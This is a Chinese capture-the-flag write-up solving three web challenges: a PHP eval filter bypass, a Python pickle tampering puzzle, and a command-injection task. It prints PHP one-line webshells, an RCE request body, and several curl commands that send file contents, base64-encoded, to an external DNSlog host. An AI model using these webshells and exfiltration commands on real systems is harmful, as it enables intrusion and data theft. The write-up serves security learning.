做了三道题。第五题看不懂,第二题一直打不开。平台老崩。;-)
easy_eval
<?php
error_reporting(0); highlight_file(__FILE__); $code = $_POST['code']; if(isset($code)){ $code = str_replace("?","",$code); eval("?>".$code);
?>
|
代码清晰简单,就是一个代码执行函数eval,但是这里存在一个过滤。
str_replace("?", "", $code);
|
只要我们传入的内容存在问号?
都会被替换为空。注意这个函数,如果是在sql注入内的话,我们可以通过双写绕过。
这里像这样单个字符是会被全部过滤掉的。
所以这里的话我们考虑的话就是要不存在问号的内容。我们其实可以知道php的一句话木马有几种常用的方式
<?php eval($_POST['cmd']);?> <?=eval($_POST['cmd']);?> <script language='PHP'>eval($_POST['cmd']);</script>
|
在这里可以发现通过script标签的php代码是不需要问号的。所以这里我们传入这样的内容进行RCE
code=<script language='PHP'>eval($_POST["cmd"]);</script>&cmd=system('ls');
|
baby_pickle
看名字就知道了,python的反序列化。但是这题也不是常规的pickle反序列化。我们通过附件可以下载到源代码
import base64 import pickle, pickletools import uuid from flask import Flask, request
app = Flask(__name__) id = 0 flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie(): def __init__(self, name, id): self.name = name self.id = id
@app.route("/") def agent_show(): global id id = id + 1
if request.args.get("name"): name = request.args.get("name") else: name = "new_rookie"
new_rookie = Rookie(name, id) try: file = open(str(name) + "_info", 'wb') info = pickle.dumps(new_rookie, protocol=0) info = pickletools.optimize(info) file.write(info) file.close() except Exception as e: return "error"
with open(str(name)+"_info", "rb") as file: user = pickle.load(file)
message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>" return message
@app.route("/dacaiji") def get_flag(): name = request.args.get("name") with open(str(name)+"_info", "rb") as f: print(f) user = pickle.load(f)
if user.id != 0: message = "<h1>你不是大菜鸡</h1>" return message else: message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>" return message
@app.route("/change") def change_name(): name = base64.b64decode(request.args.get("name")) newname = base64.b64decode(request.args.get("newname"))
file = open(name.decode() + "_info", "rb") info = file.read() print("old_info ====================") print(info) print("name ====================") print(name) print("newname ====================") print(newname) info = info.replace(name, newname) print(info) file.close() with open(name.decode()+ "_info", "wb") as f: f.write(info) return "success"
if __name__ == '__main__': app.run(host='0.0.0.0', port=8888, debug=True)
|
代码逻辑比较简单。三个路由。默认路由可以传入一个name值生成相对应的文件。首次访问默认生成一个new_rookie_info的内容。在本地测试即可看到文件内容。
ccopy_reg _reconstructor (c__main__ Rookie c__builtin__ object NtR(dVname Vnew_rookie sVid I2 sb.
|
我们传入自定义name 比如我传入?name=xiaoqiuxx
ccopy_reg _reconstructor (c__main__ Rookie c__builtin__ object NtR(dVname Vxiaoqiuxx sVid I4 sb.
|
这里我们可以控制name但是不能对id进行控制。但是我们id为0的时候才能拿到flag。那么这里我们把目光放到第三个路由上。这个路由提供了一个修改内容的操作。
info = info.replace(name, newname)
|
这里我们可以传入两个参数一个是name 一个是newname。
可以把序列化中name值替换成newname值。那么这里就好办了。我们只需要传入特定值覆盖原来的值即可完成修改的操作
NtR(dVname Vxiaoqiuxx sVid I4 sb.
|
这里只需要传入
pickle反序列化以点结尾。所以我们传入上面的内容之后,就会变成
ccopy_reg _reconstructor (c__main__ Rookie c__builtin__ object NtR(dVname Vxiaoqiuxx sVid I0 sb. sVid I4 sb.
|
然后我们将内容进行base64编码
步骤
1、首先带参数访问一下默认路由
2、然后拿到我们上面编码的内容访问change路由
3、最后带参访问daicaiji路由
repairman
进来观察url修改mode为0发现代码。
<?php error_reporting(0); session_start();
$config['secret'] = Array(); include 'config.php'; if(isset($_COOKIE['secret'])){ $secret =& $_COOKIE['secret']; }else{ $secret = Null; }
if(empty($mode)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query']); if(empty($mode)) { echo 'Your mode is the guest!'; } }
function cmd($cmd){ global $secret; echo 'Sucess change the ini!The logs record you!'; exec($cmd); $secret['secret'] = $secret; $secret['id'] = $_SERVER['REMOTE_ADDR']; $_SESSION['secret'] = $secret; }
if($mode == '0'){ if($secret === md5('token')){ $secret = md5('test'.$config['secret']); }
switch ($secret){ case md5('admin'.$config['secret']): echo 999; cmd($_POST['cmd']); case md5('test'.$config['secret']): echo 666; $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']); cmd($cmd); default: echo "hello,the repairman!"; highlight_file(__FILE__); } }elseif($mode == '1'){ echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged'; }else{ header('refresh:5;url=index.php?mode=1'); exit; }
|
进行代码审计 使用cookie传入secret参数 通过对secret参数的MD5比较可以进行命令执行 。
我们可以发现这里我们一定要进入switch的第一个分支。可以发现这里和上面if是同级。就算上面if为false我们也可以进入这里swicth语句。所以我们只要传入值等于
md5('admin'.$config['secret']);
|
即可进行命令执行。上面说过这里$config['secret']
其实默认值就是Array
所以这里我们传入的md5就是
然后这里因为使用 exec函数是不会回显内容的。所以我们需要进行一个DNSlog外带。(尝试了shell反弹但是失败了 目前不太清楚原因)
使用 http://ceye.io
注册绑定手机号之后可以在个人页面拿到一个域名 之后使用时需要替换成自己分配到的域名。
在这可以看到使用姿势。
在平台即可看到回显的结果。 有时候可能较慢,耐心等待。
参考这篇文章payload
RCE之执行无回显 - undefined (lmcmc.github.io)
cmd=curl http://98c2l7.ceye.io/`ls` cmd=curl http://98c2l7.ceye.io/`cat flag.php` cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p'` 使用sed命令查看flag.php文件第二行的内容 cmd=curl http://98c2l7.ceye.io/`cat flag.php | sed -n '2p' | base64` 空格不能被带出时使用base64进行编码 cmd=curl http://98c2l7.ceye.io/`ls -al| cut -c 3-10` 若长度太大,可以使用cut来分割字符(第一个字符下标为1)
|
这题flag在config.php的第三行
cmd=curl http://mzodiy.ceye.io/`cat config.php | sed -n '3p' | base64`
|
解码即是flag。